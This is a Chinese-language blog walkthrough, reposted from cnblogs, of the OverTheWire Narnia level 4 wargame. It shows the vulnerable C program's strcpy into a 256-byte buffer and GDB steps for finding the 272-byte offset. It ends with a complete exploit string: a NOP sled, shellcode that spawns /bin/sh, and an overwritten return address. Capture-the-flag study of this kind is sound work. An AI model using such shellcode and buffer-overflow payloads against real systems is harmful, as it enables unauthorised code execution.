标签:c style class blog code java
ssh narnia4@narnia.labs.overthewire.org
然后输入密码:XXOO
cat narnia4.c
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> extern char **environ; int main(int argc,char **argv){ int i; char buffer[256]; for(i = 0; environ[i] != NULL; i++) memset(environ[i], ‘\0‘, strlen(environ[i])); if(argc>1) strcpy(buffer,argv[1]); return 0; }
又是一个经典的溢出。
下面简单说了。
GDB 调试,在strcpy() 前后下断,找到字符串起始位置。
我运行的是输入了256个a (ASCII码为0x61)
这里可以得到字符串起始位置0xffffd52c ,
在程序结束前下断点,(RET)
查看下此时的ESP内存区域。
0xffffd63c,
63c-52c=110( 十进制是272 ) , 即272个字节即可覆盖返回地址。
然后就是SHELLCODE 的组织等等,这里就不多说了,和NARNIA2 很相似。
最后的构造
`python -c ‘print "\x90"*232 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*12 + "\x70\xd5\xff\xff" ‘`
Wargame narnia level 4 (中文攻略),布布扣,bubuko.com
标签:c style class blog code java
原文地址:http://www.cnblogs.com/wu-yan/p/3777660.html